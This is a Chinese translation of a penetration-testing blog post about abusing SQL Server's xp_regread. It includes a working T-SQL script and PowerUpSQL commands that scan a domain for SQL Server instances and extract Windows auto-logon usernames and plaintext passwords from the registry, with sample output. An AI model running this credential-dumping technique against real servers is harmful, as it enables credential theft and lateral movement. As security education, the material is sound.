原文：

https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/

在这篇博客中，我将展示如何使用PowerUpSQL通过SQL Serverd导出Windows自动登录密码。我也来谈谈xp_regread存储过程中的其他利用方式也可在渗透测试中使用。

xp_regread简史

从SQL Server2000后xp_regread扩展存储过程一直被使用，因为其原始版本允许以公共服务器角色的成员访问SQL Server服务帐户权限的几乎任何东西的。当时，它有一个非常大的影响，因为SQL Server以LocalSystem权限运行是常见的（译者注：很容易被提权）。自从SQL Server 2000 SP4发布之后，由于添加了一些访问控制，这有助于防止低权限的登录访问敏感的注册表位置，xp_regread的影响已经相当小，现在，未经授权的用户访问唯一的注册表位置都与SQLServer相关。对于您可以访问这些位置的列表https://support.microsoft.com/en-us/kb/887165

下面是更有趣的访问路径中的几个：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer

HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\ControlPanel\International

xp_regread公共角色的实际用途

即使是我们的双手被捆绑，xp_regread也可以用来获取不少有用的信息。事实上，作为最低权限登录时，我经常用它来抓取其它地方无法获取的服务器信息。例如，在PowerUpSQL中的Get-SQLServerInfo功能包括一些这些查询：

PS C:\>Get-SQLServerInfo

ComputerName           : SQLServer1

Instance               : SQLServer1

DomainName             : demo.local

ServiceName            : MSSQLSERVER

ServiceAccount         : NT Service\MSSQLSERVER

AuthenticationMode     : Windows and SQL Server Authentication

Clustered              : No

SQLServerVersionNumber: 12.0.4213.0

SQLServerMajorVersion  : 2014

SQLServerEdition       : Developer Edition (64-bit)

SQLServerServicePack   : SP1

OSArchitecture         : X64

OsMachineType          : WinNT

OSVersionName          : Windows 8.1 Pro

OsVersionNumber        : 6.3

Currentlogin           : demo\user

IsSysadmin             : Yes

ActiveSessions         : 3

在SQL ServerSP4中实现的访问控制限制并不适用于系统管理员。其结果是，任何SQL Server服务账户可以在注册表访问，一个系统管理员可以通过xp_regread访问。乍一看，这似乎不是什么大不了的事，但它确实让我们从注册表中的敏感数据，而不必使用xp_cmdshell存储过程，启用和使用xp_cmdshel会触发大量的告警。所以xp_regread实际上最终被用于基本的SQL Server开发任务后。

使用xp_regread恢复Windows自动登录凭据

配置Windows在计算机启动时自动登录这是可以实现的，虽然这不是在企业环境中的常见配置，这是我们在零售环境中经常看到的东西。特别是那些支持传统的POS终端和信息亭使用SQL服务器本地运行。在大多数情况下，当Windows配置为自动登录，加密的凭据存储在注册表项：

HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\WindowsNT\CURRENTVERSION \Winlogon

利用这些信息，我们可以编写使用一个基本的TSQL脚本，通过xp_regread获取注册表的自动登录凭据，而无需使xp_cmdshell启用。下面就是一个TSQL脚本例子，但由于注册表路径不在允许列表上，我们必须作为一个系统管理员运行查询：

-------------------------------------------------------------------------

-- Get Windows AutoLogin Credentials from the Registry

-------------------------------------------------------------------------

-- Get AutoLoginDefault Domain

DECLARE@AutoLoginDomain  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultDomainName',

@value                         = @AutoLoginDomainoutput

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginUser  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultUserName',

@value                         = @AutoLoginUser output

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginPassword  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultPassword',

@value                         = @AutoLoginPasswordoutput

-- Display Results

SELECT@AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword

我已经创建了一个名为“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函数，所以你可以直接运行它。它将获取默认的Windows自动登录信息和曾经设置过的Windows自动登录信息。然后，它返回相关的域名、用户名和密码。

下面是那些感兴趣的一个命令示例。如果您对渗透隐蔽的SQL Server目标有兴趣，你可以挖掘这个博客（https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/）：

PS C:\> $Accessible =Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose-Threads 15| Where-Object {$_.Status –eq “Accessible”}

PS C:\> $Accessible |Get-SQLRecoverPwAutoLogon -Verbose

VERBOSE: SQLServer1.demo.local\Instance1 :Connection Success.

VERBOSE: SQLServer2.demo.local\Application: Connection Success.

VERBOSE: SQLServer2.demo.local\Application: This function requires sysadmin privileges. Done.

VERBOSE: SQLServer3.demo.local\2014 :Connection Success.

VERBOSE: SQLServer3.demo.local\2014 : Thisfunction requires sysadmin privileges. Done.

ComputerName : SQLServer1

Instance    : SQLServer1\Instance1

Domain      : demo.local

UserName    : KioskAdmin

Password    : test

ComputerName : SQLServer1

Instance    : SQLServer1\Instance1

Domain      : demo.local

UserName    : kioskuser

Password    : KioskUserPassword!

总结

即使xp_regread扩展存储过程已部分阉割，仍有许多方式，它可以被证明是有用的渗透测试和红队交战中。希望你能用“sqlserverinfo”、“sqlrecoverpwautologon”函数构建它的能力，更多注册表的乐趣将陆续提供，在此期间，祝你好运，并负责任！

参考文章：

https://support.microsoft.com/en-us/kb/887165

https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx

http://sqlmag.com/t-sql/using-t-sql-manipulate-registry

本文转自 simeon2005 51CTO博客，原文链接:http://blog.51cto.com/simeon/1881099